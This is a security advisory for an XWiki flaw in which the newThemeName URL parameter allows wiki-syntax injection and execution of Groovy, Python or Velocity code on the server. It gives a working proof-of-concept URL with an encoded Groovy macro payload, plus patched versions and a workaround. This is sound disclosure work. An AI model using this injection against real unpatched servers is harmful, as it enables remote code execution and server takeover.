GHSA-x2qm-r4wx-8gpg

### Impact
It's possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the `newThemeName` request parameter (URL parameter), in combination with additional parameters `form_token=1&action=create`.

For instance: [http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?newThemeName=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&form_token=1&action=create](http://127.0.0.1:8080/xwiki/bin/view/FlamingoThemesCode/WebHomeSheet?**newThemeName**=foo%22%2F%7D%7D%7B%7Basync%20async%3D%22true%22%20cached%3D%22false%22%20context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22hello%20from%20groovy!%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D&form_token=1&action=create) will execute the following groovy code: `println("hello from groovy!")` on the server.

### Patches
This has been patched in the supported versions 13.10.10, 14.9-rc-1, and 14.4.6.

### Workarounds
It is possible to edit `FlamingoThemesCode.WebHomeSheet` and manually perform the changes from [the patch fixing the issue](https://github.com/xwiki/xwiki-platform/commit/ea2e615f50a918802fd60b09ec87aa04bc6ea8e2#diff-e2153fa59f9d92ef67b0afbf27984bd17170921a3b558fac227160003d0dfd2aR283-R284).

### References
- https://github.com/xwiki/xwiki-platform/commit/ea2e615f50a918802fd60b09ec87aa04bc6ea8e2#diff-e2153fa59f9d92ef67b0afbf27984bd17170921a3b558fac227160003d0dfd2aR283-R284
- https://jira.xwiki.org/browse/XWIKI-19757

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:[email protected])